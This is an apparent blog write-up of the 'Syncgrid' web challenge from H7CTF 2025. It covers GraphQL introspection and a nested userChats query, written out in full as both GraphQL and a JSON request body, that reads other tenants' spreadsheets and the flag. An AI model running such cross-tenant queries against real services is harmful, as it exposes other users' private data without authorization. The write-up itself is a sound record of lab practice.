Skip to main content

H7CTF 2025 - WriteUp: [WEB] Syncgrid

·307 words·2 mins
CTF Cybersecurity Writeup

Challenge Description

The challenge seems like a platform where we can create our own workspace and share our spreadsheets with the others. I tried to use the existing space and create a sample spreadsheets to play around.

Niceee! I can even edit each cell and row in the spreadsheet too! As always, I’m questioning myself.. ‘What’s happening behind the scene?’. Therefore, I started to intercept and found something.

Dang! I can see directly the GraphQL query in the request body. This must be somesort of GraphQL injection. I started to dump the whole schema using IntrospectionQuery from the request.

Thanks to this blog. I able to learnt quickly about GraphQL injection since this is my first time doing it xD.

https://hg8.sh/posts/misc-ctf/graphql-injection/

Yep! I got the whole objects and schemas. Let’s dump the JSON response into https://apis.guru/graphql-voyager/ to get better readibility and visibility.

I can see there are bunch of schemas and columns like flag and spreadsheets that I need to dump. Let’s try use inQL extension in the BurpSuite to get some boilerplates.

Seems like I can use userChats queries to dump all spreadsheets contents of the user in the chats. I started to construct my own payload based on the boilerplat and the map previously and came out as below.

query userChats {
  userChats {
    id
    messages {
      chat {
        id
        participants {
          id
        }
        messages {
          id
        }
      }
      id
      sender {
        id
      }
      timestamp
    }
    participants {
      email
      id
      username
      workspaces {
        id
        name
        spreadsheets {
          flag
          cells {
            content
          }
        }
      }
    }
  }
}

Formatted:

{"query":"query userChats {\n    userChats {\n        id\n        messages {\n            chat {id participants {id} messages {id}}\n                    id\n            sender{id}\n            timestamp\n        }\n        participants {\n            email\n            id\n            username\n            workspaces{id, name, spreadsheets {flag, cells{content}}}\n        }\n    }\n}"}

Send the payload in the repeater and the flag shown in one of the user spreadsheet’s content.

Flag: H7Tex{t3n4nt_h0pp1ng_v1a_l34ky_4p1s+aef7b25bbc98e4ce}